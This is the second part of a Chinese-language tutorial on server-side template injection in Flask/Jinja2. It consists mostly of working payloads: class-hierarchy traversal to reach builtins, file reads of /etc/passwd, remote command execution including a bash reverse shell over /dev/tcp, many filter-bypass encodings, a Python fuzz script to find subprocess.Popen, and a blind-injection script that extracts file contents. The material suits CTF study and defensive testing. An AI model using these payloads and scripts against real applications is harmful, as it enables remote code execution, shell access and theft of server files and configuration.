SSTI漏洞學習(下)——Flask/Jinja模板引擎的相關繞過
再看尋找Python SSTI攻擊載荷的過程
獲取基本類
對于返回的是定義的Class內的話:__dict__ //返回類中的函數和屬性,父類子類互不影響__base__ //返回類的父類 python3__mro__ //返回類繼承的元組,(尋找父類) python3__init__ //返回類的初始化方法 __subclasses__() //返回類中仍然可用的引用 python3__globals__ //對包含函數全局變量的字典的引用 python3對于返回的是類實例的話:__class__ //返回實例的對象,可以使類實例指向Class,使用上面的魔術方法
''.__class__.__mro__[2]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]
此外,在引入了Flask/Jinja的相關模塊后還可以通過
configrequesturl_forget_flashed_messagesselfredirect
等獲取基本類,
獲取基本類后,繼續向下獲取基本類(object)的子類
object.__subclasses__()
找到重載過的__init__類
在獲取初始化屬性后,帶wrapper的說明沒有重載,尋找不帶warpper的
也可以利用.index()去找file,warnings.catch_warnings
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__<slot wrapper '__init__' of 'object' objects>>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__<unbound method WarningMessage.__init__>
查看其引用__builtins__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
這里會返回dict類型,尋找keys中可用函數,直接調用即可,使用keys中的file等函數來實現讀取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
常用的目標函數有這么幾個
filesubprocess.Popenos.popenexeceval
常用的中間對象有這么幾個
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')lipsum.__globals__.__builtins__.open("/flag").read()linecache.os.system('ls')
更多的可利用類可以通過遍歷篩選的方式找到
比如對subprocess.Popen我們可以構造如下fuzz腳本
import requests
url = ""
index = 0for i in range(100, 1000): #print i payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i) params = { "search": payload } #print(params) req = requests.get(url,params=params) #print(req.text) if "subprocess.Popen" in req.text: index = i break
print("index of subprocess.Popen:" + str(index))print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
那么我們也可以利用{%for%}語句塊來在服務端進行fuzz
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }} {% endif %}{% endfor %}
一些Trick
- Python 字符的幾種表示方式
- 16進制 \x41
- 8進制 \101
- unicode \u0074
- base64 'X19jbGFzc19f'.decode('base64') python3
- join "fla".join("/g")
- slice "glaf"[::-1]
- lower/upper ["__CLASS__"|lower
- format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
- replace "__claee__"|replace("ee","ss")
- reverse "__ssalc__"|reverse
- python字典或列表獲取鍵值或下標的幾種方式
dict['__builtins__']dict.__getitem__('__builtins__')dict.pop('__builtins__')dict.get('__builtins__')dict.setdefault('__builtins__')list[0]list.__getitem__(0)list.pop(0)
- SSTI 獲取對象元素的幾種方式
- class.attr
- class.__getattribute__('attr')
- class['attr']
- class|attr('attr')
- "".__class__.__mro__.__getitem__(2)
- ['__builtins__'].__getitem__('eval')
- class.pop(40)
- request 旁路注入
request.args.name #GET namerequest.cookies.name #COOKIE namerequest.headers.name #HEADER namerequest.values.name #POST or GET Namerequest.form.name #POST NAMErequest.json #Content-Type json
- 通過拿到current_app這個對象獲取當前flask App的上下文信息,實現config讀取
比如
{{url_for.__globals__.current_app.config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config.}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}
Bypass的手段
在對Jinjia SSTI注入時,本質是在Jinja的沙箱中進行代碼注入,因此很多繞過技巧和python沙箱逃逸是共通的
{{}}模板標簽過濾
- {% if xxx %}xxx{% endif %}形式
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
- {% print xxx %} 形式
{% print ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
關鍵詞過濾
base64編碼繞過
__getattribute__使用實例訪問屬性時,調用該方法
例如被過濾掉class關鍵詞
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接繞過
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
利用dict拼接
{% set a=dict(o=x,s=xx)|join %}
利用string
比如'可以用下面方式拿到,存放在quote中
{% set quote = ((app.__doc__|list()).pop(337)|string())%}
類似的還有
{% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
通過~可以將得到的字符連接起來
一個eval的payload如下所示
{% set xhx = (({ }|select()|string|list()).pop(24)|string)%}{% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set quote = ((app.__doc__|list()).pop(337)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set bu = dict(buil=x,tins=xx)|join %}{% set im = dict(imp=x,ort=xx)|join %}{% set sy = dict(po=x,pen=xx)|join %}{% set oms = dict(o=x,s=xx)|join %}{% set fl4g = dict(f=x,lag=xx)|join %}{% set ca = dict(ca=x,t=xx)|join %}{% set ev = dict(ev=x,al=xx)|join %}{% set red = dict(re=x,ad=xx)|join%}{% set bul = xhx*2~bu~xhx*2 %}
{% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}
可以在eval或exec語句中使用,如下
{% for f,v in eki.__init__.__globals__.items() %} {% if f == bul %} {% for a,b in v.items() %} {% set x=a%} {% if a == ev %} {{b(payload)}} {% endif %} {% endfor %} {% endif %}{% endfor %}
Python3 對Unicode的Normal化
比如

可以繞過數字限制
同時在python3中會對unicode normalize,導致exec可以執行unicode代碼

Python的格式化字符串特性
比如
'{0:c}'['format'](95){ "%s, %s!"|format(greeting, name) }}
拼接起來有
{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
getlist
使用.getlist()方法獲得一個列表,這個列表的參數可以在后面傳遞
{%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_
可以獲得__class__
特殊字符過濾
過濾引號
request.args 是flask中的一個屬性,為返回請求的參數,這里把path當作變量名,將后面的路徑傳值進來,進而繞過了引號的過濾
將其中的request.args改為request.values則利用REQUEST的方式進行傳參
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
過濾雙下劃線
同樣利用request.args屬性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
#GET:{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
#POST:class=__class__&mro=__mro__&subclasses=__subclasses__
過濾./[]
這里對獲取元素方法屬性進行了限制,那么我們可以使用上面Trick中介紹的獲取對象元素的幾種方式進行繞過
比如用原生JinJa2函數|attr()
將request.__class__改成request|attr("__class__")
同時繞過下劃線、與中括號
綜合之前的Trick利用就行
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
過濾圓括號
- 對函數執行方式進行重載,比如將
- request.__class__.__getitem__=__builtins__.exec;那么執行request[payload]時就相當于exec(payload)了
- 使用lambda表達式進行繞過
對象層面禁用
- set {}=None
只能設置該對象為None,通過其他引用同樣可以找到該對象
{{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
- del
del __builtins__.__dict__['__import__']
通過reload進行重載
reload(__builtins__)
- 其他一些小trick
比如func.__code__.co_consts 可以獲得對應函數的上下文常量
盲注
盲注一般有如下幾種思路
- 反彈shell
- 通過rce反彈一個shell出來繞過無回顯的頁面
- 帶外注入
- 通過requestbin或dnslog的方式將信息傳到外界
- 純盲注
- 利用index方法
Python index() 方法檢測字符串中是否包含子字符串 str ,如果指定 beg(開始) 和 end(結束) 范圍,則檢查是否包含在指定范圍內,該方法與 python find()方法一樣,只不過如果str不在 string中會報一個異常。
比如
{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()|string).index("r",0,3)}}
如果/etc/passwd的第一個字符是r那么就不會觸發異常,如果不是就會觸發異常,根據這個特點可以進行盲注
如下是一個盲注腳本
import requestsfrom string import printable as pt
host = "http://127.0.0.1:8765/"res = ''
for i in range(0,40): for c in pt: payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1) param = { "name":payload } req = requests.get(host,params=param)
if req.status_code == 200: res += c break print(res)